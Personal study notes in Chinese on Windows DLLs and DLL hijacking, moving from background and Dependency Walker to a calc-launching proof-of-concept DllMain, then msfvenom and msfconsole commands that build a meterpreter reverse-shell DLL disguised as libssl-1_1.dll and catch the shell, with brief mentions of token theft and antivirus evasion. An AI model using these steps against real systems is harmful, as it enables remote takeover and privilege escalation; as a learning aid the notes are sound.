以下是自己學習時做的一些筆記,希望對各位有所幫助
DLL劫持漏洞
為什么程序中會有dll的存在
對于 Windows 操作系統,操作系統的大部分功能都由 DLL 提供。 另外,當您在這些 Windows 操作系統之一上運行某一程序時,該程序的很多功能可能是由 DLL 提供的。 例如,某些程序可能包含很多不同的模塊,而該程序的每個模塊都包含在 DLL 中并從中分發。
使用 DLL 有助于促進代碼的模塊化、代碼重用、內存的有效使用和減少所占用的磁盤空間。 因此,操作系統和程序能夠更快地加載和運行,并且在計算機中占用較少的磁盤空間。
當程序使用 DLL 時,一個稱為依賴性的問題可能導致該程序無法運行。 當程序使用 DLL 時,就會創建一個依賴項。 如果其他程序改寫和損壞了該依賴項,原來的那個程序就可能無法成功運行。
為什么程序會使用dll
dll的優點
使用較少的資源
當多個程序使用同一個函數庫時,DLL 可以減少在磁盤和物理內存中加載的代碼的重復量。 這不僅可以大大影響在前臺運行的程序,而且可以大大影響其他在 Windows 操作系統上運行的程序。
推廣模塊式體系結構
DLL 有助于促進模塊式程序的開發。 這可以幫助你開發要求提供多個語言版本的大型程序或要求具有模塊式體系結構的程序。 模塊式程序的一個示例是具有多個可以在運行時動態加載的模塊的計帳程序。
簡化部署和安裝
當 DLL 中的函數需要更新或修復時,部署和安裝 DLL 不要求重新建立程序與該 DLL 的鏈接。 此外,如果多個程序使用同一個 DLL,那么多個程序都將從該更新或修復中獲益。 當您使用定期更新或修復的第三方 DLL 時,此問題可能會更頻繁地出現。
dll的定義:
DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置于系統中。當我們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可使用多個DLL文件,一個DLL文件也可能被不同的應用程序使用,這樣的DLL文件被稱為共享DLL文件。
如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客能夠將惡意的DLL放在優先于正常DLL所在的目錄,就能夠欺騙系統優先加載惡意DLL,來實現“劫持”
dll故障排除工具
Dependency Walker
Dependency Walker 工具可以遞歸掃描以尋找程序所使用的所有依賴 DLL。 在 Dependency Walker 中打開程序時,Dependency Walker 會執行下列檢查:
Dependency Walker 檢查是否丟失 DLL。
Dependency Walker 檢查是否存在無效的程序文件或 DLL。
Dependency Walker 檢查導入函數和導出函數是否匹配。
Dependency Walker 檢查是否存在循環依賴性錯誤。
Dependency Walker 檢查是否存在由于針對另一不同操作系統而無效的模塊。
通過使用 Dependency Walker,您可以記錄程序使用的所有 DLL。 這可能有助于避免和更正將來可能發生的 DLL 問題。 安裝 Visual Studio 6.0 時,Dependency Walker 將位于以下目錄中:
drive\Program Files\Microsoft Visual Studio\Common\Tools
劫持漏洞的產生
這里我查看資料理解的意思是,就是自己編寫dll代碼,然后把這個代碼放到你要劫持的同一個目錄下,然后程序運行時,則會優先運行你的dll,只要你的dll代碼優先級高于它本身的dll就可以實現dll劫持。
dll劫持漏洞
編寫dll劫持漏洞的代碼
我們有的時候寫入的dll代碼有的時候程序運行起來,可能會報錯,但這個時候我們可以做的是,在我們自己寫的dll里面加入反調用函數,直接調用程序本身的dll,使得程序正常運行起來。
用C編寫
運行了一下dll后,會彈出一個計算器
#include "stdafx.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("calc", SW_NORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) void PlaySoundA() { WinExec("calc", SW_NORMAL); } |
#include <Windows.h> extern "C" int __declspec(dllexport)add(int x, int y) { ?????? return x + y; } extern "C" int __declspec(dllexport)sub(int x, int y) { ?????? return x - y; } extern "C" int __declspec(dllexport)mul(int x, int y) { ?????? return x * y; } extern "C" int __declspec(dllexport)divs(int x, int y) { ?????? return x / y; } BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid) { ?????? return true; } |
用msf進行dll漏洞劫持
我們一開始先查找程序的dll,然后我們要去寫一個和程序名字相同的dll,只不過這里的dll是我們用msf生成的木馬病毒
命令如下
生成一個dll病毒
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134? lport=6677 -f dll >./libssl-1_1.dll
然后將這個文件放到程序同一個目錄下,然后運行這個程序
然后我們這只要監聽端口,等著反彈shell就ok
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.134
set lport 6677
run
這里可以配合令牌竊取,然后就可以拿到system權限
免殺
就是對我們寫好的dll文件頭部進行隱藏,修改成正常的dll文件,但核心還是一個病毒的程序。